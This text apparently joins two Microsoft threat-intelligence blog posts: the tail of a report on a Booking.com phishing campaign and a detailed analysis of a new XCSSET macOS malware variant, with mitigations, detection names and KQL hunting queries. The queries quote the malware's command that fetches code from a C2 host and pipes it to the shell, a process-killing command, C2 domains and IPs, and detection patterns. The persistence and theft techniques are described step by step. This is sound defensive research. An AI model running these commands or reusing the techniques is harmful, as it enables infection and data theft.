Be wary of urgent calls to action or threats. Remain cautious of email notifications that call to click, call, or open an attachment immediately. Phishing attacks and scams often create a false sense of urgency to trick targets into acting without first scrutinizing the message’s legitimacy.

Hover over links to observe the full URL. Sometimes, malicious links are embedded into an email to trick the recipient. Simply clicking the link could let a threat actor download malware onto your device. Before clicking a link, ensure the full URL is legitimate. For best practice, rather than following a link from an email, search for the company website directly in your browser and navigate from there.

Search for typos. Phishing emails often contain typos, including within the body of the email, indicating that the sender is not a legitimate, professional source, or within the email domain or URL, as mentioned previously. Companies rarely send out messages without proofreading content, so multiple spelling and grammar mistakes can signal a scam message. In addition, check for very subtle misspellings of legitimate domains, a technique known as typosquatting. For example, you might see micros0ft[.]com, where the second o has been replaced by 0, or rnicrosoft[.]com, where the m has been replaced by r and n.

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Pilot and deploy phishing-resistant authentication methods for users.
• Enforce multi-factor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices in all locations at all times.
• Configure Microsoft Defender for Office 365 to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow, and time-of-click verification of URLs and links in email messages, other Microsoft 365 applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Microsoft Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links used in phishing and other attacks.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attack tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
• Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Enable Zero-hour auto purge (ZAP) in Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.

Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent common attack techniques:

• Block executable files from running unless they meet a prevalence, age, or trusted list criterion
• Block execution of potentially obfuscated scripts
• Block JavaScript or VBScript from launching downloaded executable content
• Block credential stealing from the Windows local security authority subsystem

Detection details

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• TrojanDownloader:Win32/XWorm
• Trojan:Win32/XWorm
• Trojan:Win64/Xworm
• Trojan:VBS/XWorm
• Trojan:MSIL/Xworm
• Backdoor:MSIL/XWorm
• TrojanDropper:Win32/LummaStealer
• Trojan:Win64/LummaStealer
• Trojan:Win32/LummaStealer
• Trojan:MSIL/LummaStealer
• Trojan:JS/LummaStealer
• Trojan:Win32/VenomRat
• Trojan:MSIL/VenomRAT
• TrojanDropper:MSIL/AsyncRAT
• TrojanDownloader:Win64/AsyncRAT
• TrojanDownloader:VBS/AsyncRAT
• TrojanDownloader:PowerShell/AsyncRAT
• TrojanDownloader:MSIL/AsyncRAT
• Trojan:Win64/AsyncRat
• Trojan:Win32/AsyncRat
• Trojan:VBS/AsyncRAT
• Trojan:PowerShell/AsyncRAT
• Trojan:MSIL/AsyncRAT
• Trojan:JS/AsyncRat
• Trojan:BAT/AsyncRat
• RemoteAccess:MSIL/AsyncRAT
• Backdoor:MSIL/AsyncRAT
• Trojan:Win32/Danabot
• Trojan:VBS/Danabot
• Trojan:Win64/Danabot
• TrojanSpy:Win32/Danabot
• TrojanSpy:Win64/Danabot
• TrojanDownloader:VBS/Danabot
• TrojanDownloader:Win32/Danabot
• TrojanDownloader:PowerShell/NetSupport
• TrojanDownloader:JS/NetSupport
• Trojan:VBS/NetSupportRat
• TrojanDownloader:JS/NetSupportRat
• Trojan:Win32/NetSupportRat

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity:

• Suspicious command in RunMRU registry
• Suspicious PowerShell command line
• Use of living-off-the-land binary to run malicious code
• Possible theft of passwords and other sensitive web browser information
• Suspicious DPAPI Activity
• Suspicious mshta process launched
• Suspicious phishing activity detected

Microsoft Defender for Office 365

Microsoft Defender for Office 365 detects malicious activity associated with this threat through the following alerts:

• This URL has known registrant pattern for malicious activity.
• This URL impersonates booking.com
• This PDF has generic phishing traits.
• This URL has generic phishing traits.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Storm-1865 phishing campaigns over vendor platforms lead to payment data theft and fraudulent charges
• Danabot
• NetSupport RAT
• AsyncRAT
• Lumma stealer

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Network connections to known C2 infrastructure related to this activity

Look for network connections with known C2 infrastructure.

let c2Servers = dynamic(['92.255.57.155','147.45.44.131','176.113.115.170','31.177.110.99','185.7.214.54','176.113.115.225','87.121.221.124','185.149.146.164']);
DeviceNetworkEvents
| where RemoteIP has_any(c2Servers)
| project Timestamp, DeviceId, DeviceName, LocalIP, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Below are the queries using Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Hunt normalized Network Session events using the ASIM unifying parser _Im_NetworkSession for IOCs:

let lookback = 30d;
let ioc_ip_addr = dynamic(['92.255.57.155','147.45.44.131','176.113.115.170','31.177.110.99','185.7.214.54','176.113.115.225','87.121.221.124','185.149.146.164']); 
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Hunt normalized Web Session events using the ASIM unifying parser _Im_WebSession for IOCs:

let lookback = 30d;
let ioc_ip_addr = dynamic(['92.255.57.155','147.45.44.131','176.113.115.170','31.177.110.99','185.7.214.54','176.113.115.225','87.121.221.124','185.149.146.164']); 
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr has_any (ioc_ip_addr)
 | summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated), EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Hunt normalized File events using the ASIM unifying parser imFileEvent for IOCs:

let ioc_sha_hashes =dynamic(["01ec22c3394eb1661255d2cc646db70a66934c979c2c2d03df10127595dc76a6"," f87600e4df299d51337d0751bcf9f07966282be0a43bfa3fd237bf50471a981e ","0c96efbde64693bde72f18e1f87d2e2572a334e222584a1948df82e7dcfe241d"]);  imFileEvent
  | where SrcFileSHA256 in (ioc_sha_hashes) or TargetFileSHA256 in (ioc_sha_hashes)
  | extend AccountName = tostring(split(User, @'\')[1]), AccountNTDomain = tostring(split(User, @'\')[0])
  | extend AlgorithmType = "SHA256"

Indicators of compromise

References

• Booking.com Customers Hit by Phishing Campaign Delivered Via Compromised Hotels Accounts (Perception Point)
• What is XWorm Malware? (AnyRun)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Phishing campaign impersonates Booking .com, delivers a suite of credential-stealing malware appeared first on Microsoft Security Blog.

XCSSET is known for infecting Xcode projects and runs while an Xcode project is being built. Since Xcode is typically used by software developers, we assess that the malware’s mode of infection and propagation leverages on the idea that project files are shared among developers building Apple or macOS-related applications.

While it has resemblances to older XCSSET variants, this new variant is characterized by its modular approach and encoded payloads. It also has improved error handling, and heavily uses scripting languages, UNIX commands, and legitimate binaries. These characteristics allow the malware to have a low profile on an affected device and even remain fileless whenever possible, thus making its detection and removal more challenging.

At the code level, the new XCSSET variant obfuscated its module names, making it difficult to determine the modules’ intent during static analysis. Its enhanced obfuscation techniques extend to its randomized approach for generating payloads to infect Xcode projects and for encoding its payloads. In addition, while older XCSSET variants only used xxd (hexdump) for encoding, the latest one also incorporates Base64. Other notable capabilities of this new variant include its three distinct persistence techniques, which ensure its payload launches whenever a new shell session is initiated or whenever a user is tricked into opening a fake Launchpad application or makes commits in Git, and a new infection method for where the malware places its payload in a target Xcode project. Our analysis also revealed that there are some modules in this new variant’s code that appear to be under development. Its command-and-control (C2) server is also active as of this writing and is downloading additional modules.

In this blog, we discuss how this variant’s different modules work together in achieving the malware’s goals. As part of Microsoft’s commitment to work with the security community to mitigate threats and improve security for all, we have shared these findings with Apple, who acknowledged and thanked us for the information. While we’re only seeing this new XCSSET variant in limited attacks as of this writing, we’re sharing our comprehensive analysis and providing best practices and recommendations more broadly so users and organizations can protect themselves against this threat.

Analyzing the latest XCSSET variant

The new XCSSET variant generally follows a four-stage infection chain, with the fourth-stage payload running various sub-routines. The following sections provide detailed descriptions of each of these modules.

First stage: Xcode shell payload

The payload referenced in this stage gets launched when a user unknowingly builds an infected Xcode project. This obfuscated payload passes through three iterations of a hex decoder and is then piped—or served as input—to shell.

The decoded payload simply makes a curl request to a C2 server, https[:]//bulknames[.]ru/a. The response it receives is then piped to shell.

Second stage: Obfuscated shell command

This payload, which was downloaded by the first-stage shell, collects the affected user’s device operating system information, which it then sends to the C2 server along with a default identifier/tag to download an additional payload. It then pipes the downloaded payload to the shell for execution.

Third stage: Downloaded shell payload

This stage again involves a shell script that first checks if the device’s version of XProtect, the built-in antivirus in macOS, is less than 5287. This check is done by running the command “xprotect version” and reading the Info.plist file of the XProtect bundle.

The script then checks and stops any of the referenced processes in Figure 3 and any running osascript processes. It then calculates the date and searches for a hidden file named .a in the home folder. If it finds the file, it updates the said file; otherwise, it creates a new file with the date and other counters/markers.

The script then deletes any existing references to /tmp/l.app and creates a new one. It then downloads another script from the C2 server and saves it at the location /tmp/b. Next, it creates an AppleScript compiled application using osacompile. This AppleScript payload launches the downloaded /tmp/b script.

The script then uses the plutil command to modify the Info.plist file of the created AppleScript application to enable the LSUIElement key. Enabling this key hides the application from the Dock, effectively making the application more of a background process. Finally, the script runs the application in the background, sleeps for 10 seconds, and removes the created application and the /tmp/b script.

Fourth stage: AppleScript payload (/tmp/b or looz)

The fourth stage involves the execution of the created AppleScript application, which essentially runs a shell command. This command passes a Base64-encoded blob through several iterations of a Base64 decoder to obtain the final script, which is subsequently executed.

The decoded script is another AppleScript that first parses the com.apple.launchservices.secure.plist file to determine the default browser for https URLs. It searches for the “https” URL scheme and extracts the corresponding browser’s bundle identifier. The script has explicitly set the variable to “Safari (com.apple.safari)” by default.

The script then fetches the following system information, which it sends to the C2 server as a single string:

• macOS version
• Safari version
• User locale
• Firewall status
• System Integrity Protection (SIP) status
• CPU information

The script also overrides the default log() function so that it can send logs to the C2 server—a capability that can also be seen across the various sub-modules the script launches. The next section provides more information about the sub-modules the script downloads from the C2 server as of this writing.  

The script then checks if the user name is “demo,” possibly to verify if the user account belongs to the threat actor. If the user name checks out, the script processes a specific module, cozfi_xhh, and returns. It also checks the device serial number and exits if the value contains “JV3Q” in it. Next, it calls the boot() function repeatedly with multiple obfuscated module names.

The boot() function has multiple filters with predefined logic and handlers for the module names passed in the argument. In case the module name doesn’t pass any filter, a code in the boot() function downloads an AppleScript that is then launched directly to avoid any artifacts on the disk. Depending on the wait flag passed to this function, the newly downloaded AppleScript is run in either background or foreground.

Sub-modules

The sub-modules that the fourth-stage script downloads follow the similar format where a Base64-encoded blob is passed through multiple iterations of a Base64 decoder before being launched directly.

seizecj (Steals system information)

This sub-module exfiltrates system information to the C2 server. The information it retrieves includes:

• Applications list
• System applications list
• User level LaunchAgents list
• XProtect version
• Malware Removal Tool (MRT) version

fpzfcieoci (Lists browser extensions)

This sub-module searches for and lists down the various internet browser extensions it finds installed on the affected device. It has a predefined list of search strings that correspond to the folder paths and files of the browsers that it searches for:

This sub-module processes each path individually to search for specific files and extracts metadata about the browser extensions. For example, for Firefox, it extracts lines containing “extensions.webextensions.ExtensionStorageIDB” from the file prefs.js file. For the other browsers, it searches the manifest.json file and extracts the lines containing either “default_title” or “name”. It then stores the extension list in a log file named /tmp/out.txt and uploads this file to the C2 server.

hxasoxtfd (Downloads an additional module)

This sub-module is a downloader that requests a module name from the C2 server every 120 seconds.

If a module name is received from the C2 server, the system proceeds to call the boot() function with the received module name. This function includes filters on the module name, similar to those observed in the parent (fourth-stage) payload. In case the filters don’t pass, this sub-module proceeds to download and launch directly the payload received from the C2, again to avoid any artifacts on the disk.

txzx_vostfdi (Steals digital wallet data from browsers)

This sub-module first sends a request to retrieve a path list from the C2 server. The following screenshot is an example of a path list received from the C2:

Based on the specified paths, this sub-module appears to search for many cryptocurrency digital wallet extensions across various browsers and their directories. This information is primarily determined by examining the identifiers, such as the following:

This sub-module archives the collected data, which it then sends back to the C2 server.

hfdieiz (Establishes persistence)

This sub-module establishes persistence through two different methods, zshrc and Dock, which will be discussed in the following sections. It first creates a folder named com.apple.finder in the ~/Library/Caches/ directory.

This sub-module generates payload by randomly selecting a C2 server from a predefined list and selecting an encoding method, which is either Base64 or xxd. It then chooses the number of iterations required to encode or decode the payload. The final encoded payload is then generated and returned. The argument received in the function is placed as a marker at “p=” in the payload request.

zshrc method

In this persistence method, the sub-module first checks the value of the RESTORE_DEFAULT global variable. If the value is set to “True”, the sub-module deletes the ~/.zshrc_aliases file; otherwise, it retrieves the payload body and saves it to the ~/.zshrc_aliases file. The subsequent payload involves verifying the existence of the .zshrc_aliases file and executing it if it is present. The script then ensures that the ~/.zshrc file exists. It searches for the presence of the string “.zshrc_aliases” within this file and appends the final payload if it is absent. This persistence method guarantees the execution of the payload whenever a new shell session is created.

Dock method

In this persistence method, the sub-module first downloads a signed dockutil tool from the C2 server. This tool is mainly used to manage dock items, such as adding, deleting, and updating entries. The sub-module then gets the list of dock items and searches for Launchpad in it. If it finds an entry, it proceeds to call the processItem function, which then creates a fake Launchpad application in the ~/Library/Caches/com.apple.finder folder.

The processItem function proceeds to get the corresponding payload application body from getPayloadForApp() function, which then initially verifies whether the passed application name is “Launchpad.” If it is, then the payload body for Launchpad is retrieved using the getPayloadBody() function.

In the getPayloadForApp() function, the final payload is configured to first invoke the legitimate Launchpad application and then launch the generated malicious payload. The final payload body is then returned to the processItem function.

The processItem function also has a logic to update the persisted payload in case it is already found on the device. If the device has no prior infection, the function first compiles an AppleScript payload to an application with the “run-only” flag. This flag could make it challenging to reverse engineer the code and evade static analysis. The function then saves the payload to a file in the parent directory. Next, it checks if the application name is “Launchpad” and, if it is, modifies the Info.plist file’s entries to enable the LSUIElement key and update CDBundleDisplayName. It then downloads InfoPlist.locatable and Launchpad’s icon from the C2 server, replaces the created application’s icon with it, and performs an ad-hoc signing on the application.

Finally, the processItem function uses the dockutil binary to replace the existing Launchpad entry with the fake Launchpad’s application path. It does this by replacing the file URI entry of the legitimate Launchpad application with the fake one. These steps ensure that every time the user starts Launchpad from the dock, the malicious created application is launched, which then runs both the legitimate Launchpad and the generated payload.

cozfi_xhh (Steals notes from the Notes application )

This sub-module steals notes from the affected device’s Notes application through a JavaScript payload.

It initializes a variable named permissionApp to path to /Applications/Reminders.app, where the fake Reminders application is created, and to /Applications/Reminders.app/Notes/, where the stolen notes are saved. It is important to note that the legitimate Reminders application can be found in the /System/Applications directory. The sub-module then removes the Notes folder if it exists inside the fake Reminders application. It also checks for the presence of the fake Reminders application on the device and creates one if it’s not present.

This sub-module creates an AppleScript-compiled application with the flag set to “Run only.” This application’s script launches the /tmp/.n file using osascript. The sub-module then downloads an icon file from the C2 server. Next, it modifies the Info.plist file by updating the CFBundleDisplayName and CFBundleExecutable and enabling the LSUIElement key. Finally, it performs an ad-hoc signing for this newly created application.

After the creation of the application, the sub-module checks the global variable FORCED flag, which is set to “False” by default in the script. If the FORCED flag is set to “True”, the sub-module calls the exec function directly. Otherwise, it first sends a request to the C2 server to obtain a folder list. The code expects to receive “notes_app” in the response. If this application is present, it enters a loop, waiting for the Notes application to start before calling the exec function. The exec function then subsequently calls the runloop function.

The runloop function first sets the payload, which is basically a JavaScript code. Meanwhile, the run() function of the JavaScript payload first checks and connects to the Notes application present in the Systems directory, retrieves all notes, and saves each note’s contents, creation date, and modification date into an HTML file in the Notes folder within the Reminders application created previously.

The sub-module saves the JavaScript payload into the /tmp/.n file. It then launches the Reminders application to run the said payload. It checks for the existence of Notes folder and, if absent, retries up to three times by resetting the Transparency, Consent, and Control (TCC) database for AppleEvents before deleting the created Reminders application. If the Notes folder exists, it returns a “200” code. When the sub-module’s parent function receives the said “200” code, it archives the Notes folder within the created fake Reminders application and exfiltrates it to the C2 server.

Modules listed under finderModules list in boot() function

In the boot() function of the fourth-stage AppleScript module, there is a specific handler code for certain modules found under the finderModules list.

Figure 17 shows how the fourth-stage payload downloads the module passed to the boot() function into the /tmp/.f file. It then calls the boot() function again with a specific module named vectfd_xhh.

Let’s first look at the common module invoked for each of the other modules on the list.

vectfd_xhh (Launches application for modules)

In this module, the doMain() function checks the existence of either Xcode or Git. If either application is found, several global variables are set with a certain application’s display name, file path, and icon name.

If neither application is present, the module defaults to Finder.app. Subsequently, the doInstall() function is called for each case. It should be noted that the legitimate Finder and Terminal applications are located in the /System/Applications/ folder and not in /Applications/.

In the doInstall() function, the existence and version of the fake application in context is first checked. If the fake application isn’t present or is outdated:

• If the current process in context is Xcode or Finder, the module waits for the corresponding legitimate application to launch first before calling the createLoop() function
• If the current process in context is Terminal, the module directly calls the createLoop() function

The createLoop() function deletes any prior existence of the application before creating the fake one. The created application is AppleScript-compiled with the flag set to “Run only,” and it executes a script located at /tmp/.i. Similar to the previous fake application-creating modules, the created application’s icon and plist entries are modified, and is ad-hoc signed.

The module then calls the runAppFile() function. This function first sets a payload where it attempts to get a listing of the user’s directories, possibly to check TCC permissions. If the command succeeds, this function deletes any existing error file (/tmp/.e); otherwise, it creates the file. The payload then launches the /tmp/.f file that was downloaded in the parent (fourth-stage) module.

Next, the runAppFile() function saves the payload it set initially in the /tmp/.i file and launches the created application. This created application in turn launches the /tmp/.i file, which, in turn, also executes the /tmp/.f file.

If the directory listing command isn’t successful, the error file is created. If this error file exists, the function returns code “403”. If the parent function receives this code, it retrieves the CFBundleIdentifier of the created application, resets the TCC database for that bundle ID, and calls the createLoop() function again.

dfhsebxzod (Infects Xcode projects)

This module, which is launched by the launcher module vectfd_xhh, is designed to infect Xcode projects located on the target device. It initially retrieves the user’s home directory and subsequently invokes two distinct functions to search and process files.

The first function searches for xcodeproj directories, excluding certain specified directories. The other function downloads a binary, presumed to be a 7-Zip binary, from the C2 server. It then searches the HOME folder, excluding specified directories, for .zip files. When it finds these .zip files, it scans the archive listing for “xcodeproj.” If it finds this entry, the module contains a logic to extract the project files, modify them, and update the archive with the modified files.

For both functions, each directory or file match triggers a subsequent function that searches for a .pbxproj file within the given directory. This new function then randomly selects one of three infection methods: RULE, TARGET, or FORCED_STRATEGY. The infection method determines how the payload will be placed and referenced in the .pbxproj file.

An example infection method that wasn’t mentioned in previously published research is part of FORCED_STRATEGY method. This method includes the use of TARGET_DEVICE_FAMILY variable under Build Settings, which contains the generated payload.

Next, it adds a PBXShellScriptBuildPhase in the .pbxproj file where the payload will be present in the shellScript key.

The payload generation was done in a separate function where it first defines three specific domains and randomly selects one from them. It uses either the xxd or Base64 encoding method, also chosen at random.

This method also selects a random value between 2 and 5 to determine the number of iterations for encoding/decoding. The first payload includes an encoded curl request to the specified C2 server, the output of which is piped to the shell for execution. The final payload, which consists of the above encoded data and a decoding string, is also piped to shell for execution.

jez (Establishes persistence through Git commits)

This module attempts to establish persistence by incorporating its payload into the pre-commit hooks within the .git directory of projects located on the device.

It searches for .git folders the in the user’s home directory and sub-directories using the find command. It searches up to six levels of sub-directories and excludes those named Movies, Library, Music, and Pictures. For each .git directory found, this module checks for the presence of the hooks/pre-commit file within those directories. If it finds the file, it removes any existing payload content and appends the newly created payload.

If the module doesn’t find the pre-commit file, it creates the file and writes the payload within it. The process for generating the payload is similar to the zshrc and Dock persistence techniques discussed in the previous sections of this blog. This persistence method ensures the execution of the payload upon each commit action in the project.

File/Data exfiltration modules assessed to be in development

uhsoxtfd_vostfd (Directory uploader)

This module is designed to exfiltrate files from a specified target folder. It appears to be in the development phase as of this writing because the specified target folder is currently set to ~/Desktop/test.

This module first verifies the existence of the target folder and exits if it can’t find the said folder. Otherwise, it lists the folder’s contents to test access permissions. If access is denied, the module runs a recursive loop to reset the TCC database for directories such as Desktop, Downloads, and Documents.

Once folder access is granted, the module archives the folder, excluding certain files such as links, patterns listed in the exclusion list, and files exceeding a specified size. It then uploads the created archive to a C2 server. Once the exfiltration is complete, the module deletes the archive.

fpfb (Directory listing)

This module runs a predefined command and uploads the result of the said command back to the C2 server. Currently, the command is set to “ls -la ~/Desktop”, which lists the files and directories in the user’s Desktop folder.

vectfd (Specific files exfiltration)

This module retrieves files that match the pattern defined in the INAME_QUERY variable within the user’s home directory. Currently, it searches for files with the pattern “*test.txt,” which indicates that the module might be under development. It also excludes files located in certain directories and files that exceed its size restrictions. The module then creates an archive of the files it retrieves, sends the archive to a C2 server, and deletes the archive.

Mitigation and protection guidance

Defenders can take the following mitigation steps to defend against this threat:

• Run the latest version of your operating systems and applications. Deploy the latest security updates as soon as they become available.
• Always inspect and verify Xcode projects downloaded or cloned from repositories, as the malware usually spreads through infected projects.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects this threat as the following malware:

• Trojan:MacOS/XCSSET.SC
• Trojan:MacOS/XCSSET.SE
• Trojan:MacOS/XCSSET.ST

Defender Antivirus detects multiple sub-modules of this threat as the following:

• Trojan:MacOS/XCCSET.SE
• Trojan:MacOS/XCCSET.SF
• Trojan:MacOS/XCCSET.SG
• Trojan:MacOS/XCCSET.SI
• Trojan:MacOS/XCCSET.SJ

Defender Antivirus also detects the following specific modules of this threat:

• Trojan:MacOS/XCCSET.SK – dfhsebxzod
• Trojan:MacOS/XCCSET.SH – fpzfcieoci
• Trojan:MacOS/XCCSET.SD – hfdieiz

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Possible XCSSET activity

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity:

• Suspicious script launched
• System information discovery
• Network connection by osascript
• Possible content exfiltration
• Suspicious file or content ingress

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their networks:

Suspicious commands while building an Xcode project

Search for suspicious commands related to this threat when an Xcode project is being built.

DeviceProcessEvents 
| where ProcessCommandLine has_all("echo", "xxd -p -r", "| sh") or ProcessCommandLine has_all("echo", "base64 -d", "| sh")
| where InitiatingProcessFileName has_any ("sh", "bash", "zsh") 
| where InitiatingProcessCommandLine contains "/Developer/Xcode/DerivedData"

Suspicious payload patterns

Search for suspicious payload patterns related to this threat.

DeviceProcessEvents 
| where ProcessCommandLine has_all("echo", "xxd -p -r", "| sh") or ProcessCommandLine has_all("echo", "base64 -d", "| sh") 
| where InitiatingProcessFileName has_any ("sh", "bash", "zsh")

Microsoft Sentinel 

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. 

Search for command lines making first contact to C2 server or for command lines stopping Xcode, Terminal, or Finder applications:

union DeviceFileEvents, DeviceProcessEvents
  | where Timestamp >= ago(90d)
  | where ProcessCommandLine contains 'curl -fskL -d "https://bulknames.ru/a" | sh >/dev/null 2>&1 &'
  or ProcessCommandLine has "ps aux | grep -E '/Applications/(SimulatorTrampoline|Terminal|Finder).app' | grep -v grep | awk '{print $2}' | xargs kill -9 &/dev/null || true"

Check for communications with network indicators of compromise (IOCs):

let c2cdomains = dynamic(["bulknames.ru","castlenet.ru","chaoping.ru","devapple.ru",
"gigacells.ru","gizmodoc.ru","trixmate.ru","itoyads.ru","rigglejoy.ru","rutornet.ru",
"sigmate.ru","vivatads.ru","figmasol.ru"]);
DeviceNetworkEvents
| where RemoteUrl in (c2cdomains)
| project TimeGenerated, DeviceId, DeviceName, Protocol, LocalIP, LocalIPType, LocalPort,RemoteIP, RemoteIPType, RemotePort, RemoteUrl

Check for infected file or script IOCs:

let selectedTimestamp = datetime(2025-01-01T00:00:00.0000000Z); 
let FileSHA256 = dynamic(["d338dc9a75a14753f57399815b5d996a1c5e65aa4eb203222d8c85fb3d74b02f","56670f51f94080f1ae45f2a433767f210f290835bf582e1a2e1876f1028832de",” f67e2a27f0d1a4667b065ab05f884ff881eb7627e9d458f97f2204647b339c6e”
"","25d226d5cb0c74ed5b1b85f12d53a4c2de2147ff464b2a35db03987015b11e24",
"c2a7970216576a6b8f74528ffcfa51aa2b72b7f3e4237d97715b1b5ba80b25ca","8cec3c106659709017bb253becf68296c7bf13e76fa92b4450c281003d225645",
"ea90c72e67f1c9a9231732119576a7dcb29471f7da428866187d4326e78097f2","ff83f53a383ba3f1d6b002006adf16a7f0b3263185d56cb70104889874d67c5d","cc37a01d3351b3c166f04aec6f52849e909b0b9c8d55095d730c660691b1ba66"]); 
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents, 
DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator) 
TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from January 1st runs the search for 90 days, change the selectedTimestamp above or 90d accordingly. 
and  
(SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Indicators of compromise

MITRE ATT&CK techniques observed

References

• https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware–infects-xcode-projects–uses-0-days.html
• https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf
• https://www.intego.com/mac-security-blog/mac-malware-exposed-xcsset-an-advanced-new-threat/
• https://www.jamf.com/blog/osx-xcsset-subverts-developer-environments/
• https://www.sentinelone.com/blog/xcsset-malware-update-macos-threat-actors-prepare-for-life-without-python/

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

